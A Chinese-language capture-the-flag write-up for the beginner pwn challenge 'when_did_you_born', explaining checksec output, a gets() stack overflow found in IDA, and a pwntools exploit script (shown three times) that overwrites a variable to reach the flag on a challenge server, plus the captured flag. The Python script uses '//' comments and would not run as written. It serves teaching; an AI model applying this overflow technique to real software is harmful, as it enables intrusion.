[CTF-PWN]攻防世界新手村-when_did_you_born[wp]

2020-10-01 13:00:12

事件起因(無語)

手殘博主因在27日從根地址誤刪了自己兩年半設定和使用的kali虛擬機器器。。。在一步步恢復環境設定的時候,從頭到尾刷一遍題,總結思路。

題目分析

題目
開啟場景後,伺服器端會開啟對應的埠,並在埠上部署和附件相同的ELF二進位制可執行檔案,我們要做的就是下載附件並在本地進行反組合,反編譯等操作分析程式漏洞,從而利用漏洞獲取題目的flag。
從描述中可以看出當前程式是要進行年齡的輸入操作的,有輸入操作,還是在新手村,那麼大概率是gets()等C函數輸入漏洞,進一步猜測是普通的記憶體地址覆蓋的題。

checksec監測

checksec監測程式開啟的防禦狀態
checksec的常用命令是:checksec [filename] ,也就是checksec後面加上你的程式;
也可以用gdb外掛中的checksec來監測,gdb中直接checksec就可以了,如下:
pwngdb

checksec可以檢查程式保護機制,從而檢視題目開啟了哪些保護機制,有助於對題目的初步分析。
Arch:程式位數(檢視是多少位的程式,比如32或64位元),也可以檢視是哪個微處理器,比如i386為32位元微處理器,amd64為64位元微處理器(x86架構的延伸產品,稱為x86-64,後改名為AMD64);
RELRO:設定符號重定向表格為唯讀或在程式啟動時就解析並繫結所有動態符號,從而減少對GOT(Global Offset Table)攻擊。RELEO為"Partial RELRO",說明我們對GOT表有寫許可權。
Stack:棧溢位監測,檢視程式是否開啟了Canary防護(一種對函數棧的監測保護:還沒等到棧溢位,先返回canary word,從而監測棧溢位情況)。
NX :No-eXecute(不可執行),相等於windows的DEP(系統記憶體保護),就是將攻擊者構造的payload和shellcode(一般為系統遠端執行命令)所在的記憶體頁標識為不可執行,當攻擊程式碼想要以資料程式碼偽裝成可執行程式碼時,就會被檢測到,從而使CPU丟擲異常,從而不執行惡意指令。
PIE:記憶體地址空間分佈隨機化(ASLR:address space layout randomization)
checksec
從checksec檢測中可以看出

  1. 這是一個64位元小端序程式;
  2. 不完全開啟RELRO;
  3. 金絲雀已開啟
  4. NX開啟
  5. 沒有開啟地址空間隨機化

IDA pro分析

IDA分析
在main函數上按F5進入虛擬碼:
gets()函數
C語言中gets()函數漏洞:gets()函數的緩衝區使用者無法指定其一次最多讀入多少位元組的內容,非常適用於二進位制溢位攻擊。
可以看到輸入v4後接下來就是v5的地址,通過手殘博主下面的圖瞭解一下攻擊思路:手殘
程式的關鍵是:只要V5=1926,就可以得到flag,但是之前限制了v5的輸入,不可以直接輸入1926,不然就會告訴你「You Cannot Born In 1926!」
圖一中畫的是一個記憶體棧,我們可以通過圖二的方式,將gets()函數不限制輸入位元組的漏洞,用輸入的v4來覆蓋v5的值,從而達到V5=1926的目的。
記憶體地址空間
檢視v4和v5的記憶體空間後,我們計算出他們之間的記憶體空間大小為0x20-0x18,所以只要我們將其中填充髒資料,構建payload就可以實現溢位攻擊了。
好了,現在思路清晰,我們來構建我們的exp攻擊指令碼。

編寫exp

  • interactive() : 直接進行互動,相當於回到shell的模式,在取得shell之後使用
  • recv(numb = 4096,timeout = default):接收指定位元組
  • recvall() : 一直接收知道EOF
  • recvline(keepends = True): 接收一行,keepends為是否保留行尾的\n,預設為Ture
  • recvuntil((delims,drop=False):一直讀到delims的pattern出現為止
  • recvrepeat(timeout=default): 持續接收知道EOF或者timeout
  • send(data) :傳送資料
  • sendline(data) : 傳送一行資料,相當於在資料末尾加\n
    python3(pwntools)
from pwn import *

context(os='linux',arch="amd64",log_level="debug") //規範程式設計
content=0 //使程式判定是攻本地程式還是遠端伺服器

def main():
	if content == 1: //攻本地
		peiqi = process("when_did_you_born") //process啟動程式互動,用於程式碼顯示和後期偵錯
	else:
		peiqi = remote("220.249.52.133",53770) //remote啟動網際網路主機互動,同上

	payload = b'a' * (0x20-0x18) + p64(1926) //因為py3中預設不是位元流,所以要用'b'來進行型別轉換,

	peiqi.recvuntil("What's Your Birth?\n") //
	peiqi.sendline("1900")

	peiqi.recvuntil("What's Your Name?\n")
	peiqi.sendline(payload)

	peiqi.interactive()

main()

攻本地程式

content = 1就是pwn本地:

from pwn import *

context(os='linux',arch="amd64",log_level="debug") //規範程式設計
content=1 //使程式判定是攻本地程式還是遠端伺服器

def main():
	if content == 1: //攻本地
		peiqi = process("when_did_you_born") //process啟動程式互動,用於程式碼顯示和後期偵錯
	else:
		peiqi = remote("220.249.52.133",53770) //remote啟動網際網路主機互動,同上

	payload = b'a' * (0x20-0x18) + p64(1926) //因為py3中預設不是位元流,所以要用'b'來進行型別轉換,

	peiqi.recvuntil("What's Your Birth?\n") //
	peiqi.sendline("1900")

	peiqi.recvuntil("What's Your Name?\n")
	peiqi.sendline(payload)

	peiqi.interactive()

main()

pwn本地
因為你的本地程式並沒有flag,所以這裡顯示cat:沒有找到,說明你的exp基本上已經編寫成功,現在只要將content修改為0就可以pwn遠端了

攻遠端伺服器

from pwn import *

context(os='linux',arch="amd64",log_level="debug") //規範程式設計
content=0 //使程式判定是攻本地程式還是遠端伺服器

def main():
	if content == 1: //攻本地
		peiqi = process("when_did_you_born") //process啟動程式互動,用於程式碼顯示和後期偵錯
	else:
		peiqi = remote("220.249.52.133",53770) //remote啟動網際網路主機互動,同上

	payload = b'a' * (0x20-0x18) + p64(1926) //因為py3中預設不是位元流,所以要用'b'來進行型別轉換,

	peiqi.recvuntil("What's Your Birth?\n") //
	peiqi.sendline("1900")

	peiqi.recvuntil("What's Your Name?\n")
	peiqi.sendline(payload)

	peiqi.interactive()

main()

pwn遠端
成功pwn到flag:cyberpeace{d7df95708ccde55963d5553eaa5d0b03}

總結

一道很簡單的pwn題。